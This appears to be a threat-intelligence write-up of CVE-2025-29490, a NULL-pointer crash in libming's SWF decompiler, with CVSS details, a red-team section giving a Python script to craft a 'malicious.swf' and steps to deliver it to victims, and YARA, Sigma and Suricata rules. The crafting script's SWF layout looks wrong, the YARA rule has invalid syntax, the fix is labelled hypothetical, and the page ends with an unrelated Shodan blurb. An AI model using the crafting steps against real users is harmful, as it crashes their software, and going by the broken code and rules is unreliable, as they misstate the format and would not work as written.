CVE-2025-29490
Executive Summary
CVE-2025-29490 is a denial-of-service (DoS) vulnerability in libming v0.4.8, a library for processing SWF (Shockwave Flash) files. The flaw resides in the decompileCALLMETHOD function, where a crafted SWF file triggers a segmentation fault (NULL pointer dereference), causing the application to crash. This vulnerability is classified as a NULL pointer dereference (CWE-476) and can be exploited locally by an attacker who convinces a user to open a malicious SWF file. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
libming is a legacy library used in some multimedia tools and decompilation utilities. It is not actively maintained and is not distributed via major package registries (NPM, PyPI, Go, Ruby). However, any application that statically or dynamically links libming to process SWF files is at risk. Users should assess their dependency on libming and consider migrating to maintained alternatives.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
- Base Score: 5.5 (Medium)
- Attack Vector: Local (AV:L) – requires user interaction to open a malicious file.
- Attack Complexity: Low (AC:L) – no special conditions needed.
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must open the crafted SWF.
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H) – application crash leads to DoS.
Threat Level: Medium. Exploitation is trivial but requires user interaction. No remote code execution or data breach is possible.
Deep Dive & Mechanics
The vulnerability is a classic NULL pointer dereference in the decompileCALLMETHOD function within libming's SWF decompiler. When parsing a specially crafted SWF file, the function attempts to access a method pointer that has not been properly initialized, leading to a segmentation fault.
Root Cause: In decompileCALLMETHOD, the code does not validate that the method pointer is non-null before dereferencing it. An attacker can craft an SWF file where the CALLMETHOD action references a non-existent or malformed method, causing the pointer to remain NULL.
Trigger: The crash occurs during the decompilation phase when the library processes the CALLMETHOD action tag. The attacker must embed a malformed CALLMETHOD block in the SWF file.
Impact: The application using libming crashes immediately, resulting in a denial of service. No memory corruption or code execution is possible.
Vulnerable vs. Patched Code
Vulnerable Code (libming v0.4.8):
// In decompile.c or similar
void decompileCALLMETHOD(SWF_ACTION *action) {
// ...
SWF_METHOD *method = getMethod(action->methodIndex);
// No NULL check
method->name; // CRASH if method is NULL
// ...
}
Patched Code (hypothetical fix):
void decompileCALLMETHOD(SWF_ACTION *action) {
// ...
SWF_METHOD *method = getMethod(action->methodIndex);
if (method == NULL) {
// Handle error gracefully
return;
}
method->name;
// ...
}
No official patch exists. Users must apply the NULL check manually or avoid using libming.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- libming v0.4.8 installed on a target system.
- A tool to craft malicious SWF files (e.g.,
swftoolsor a hex editor).
Steps:
- Create a valid SWF file with a
CALLMETHODaction tag. - Modify the action's method index to point to an invalid or non-existent method.
- Deliver the crafted SWF to the victim (e.g., via email, web download).
- When the victim opens the file with an application using libming (e.g.,
swfdecor a custom tool), the application crashes.
Example Crafting (using Python):
# craft_cve_2025_29490.py
import struct
def create_malicious_swf():
# Minimal SWF header
header = b'FWS' + struct.pack('<I', 9) # Version 9
header += struct.pack('<I', 0) # File length placeholder
header += struct.pack('<hh', 800, 600) # Frame size
header += struct.pack('<H', 1) # Frame rate
header += struct.pack('<H', 1) # Frame count
# Malicious CALLMETHOD action tag
# Tag type 0x3D (CALLMETHOD), length 2
tag = struct.pack('<HH', 0x3D, 2)
# Method index = 0xFFFF (invalid)
tag += struct.pack('<H', 0xFFFF)
# ShowFrame tag (required)
show_frame = struct.pack('<HH', 0x40, 0)
# End tag
end_tag = struct.pack('<HH', 0x00, 0)
swf = header + tag + show_frame + end_tag
# Update file length
swf = swf[:4] + struct.pack('<I', len(swf)) + swf[8:]
return swf
with open('malicious.swf', 'wb') as f:
f.write(create_malicious_swf())
print("Crafted malicious.swf")
Blue Team (Detection & Defense)
Detection:
- Monitor for crashes in applications using libming.
- Use file integrity monitoring to detect unexpected SWF files.
- Deploy YARA rules (see Detection Engineering) to scan for malformed SWF files.
Defense:
- Block SWF files at email gateways and web proxies.
- Educate users not to open SWF files from untrusted sources.
- If libming is used internally, apply the NULL check patch manually.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – actual hash depends on crafted file)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(placeholder)
- File Names:
malicious.swf,exploit.swf,*.swf - Network: No network indicators (local file-based).
- Behavior: Application crash (segfault) when processing SWF files.
Detection Engineering
YARA Rule
rule CVE_2025_29490_libming_DoS {
meta:
description = "Detects crafted SWF files exploiting CVE-2025-29490"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-29490"
strings:
$swf_header = "FWS" or "CWS"
$callmethod_tag = { 3D 02 FF FF } // Tag 0x3D, length 2, invalid method index
condition:
$swf_header at 0 and $callmethod_tag
}
Sigma Rule
title: CVE-2025-29490 - libming SWF DoS via CALLMETHOD
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects crash events caused by malicious SWF files exploiting CVE-2025-29490
author: Valters IT
date: 2025-04-01
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\swfdec.exe' # Example application
CommandLine|contains: '.swf'
condition: selection
falsepositives:
- Legitimate SWF files with unusual structure
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-29490 - Malicious SWF file download"; flow:to_client; file.name:/\.swf$/; content:"|3D 02 FF FF|"; distance:0; within:4; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: No official patch exists. Apply the NULL check manually in the source code (see Vulnerable vs. Patched Code section).
- Workaround: Disable SWF file processing in applications using libming.
- Blocking: Block SWF files at email gateways and web proxies.
Long-Term:
- Migrate away from libming to maintained alternatives (e.g.,
swftoolswith patches, orrufflefor Flash emulation). - If libming is critical, fork the project and apply security fixes.
Detection:
- Deploy YARA and Sigma rules to detect malicious SWF files.
- Monitor application logs for crashes related to SWF processing.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.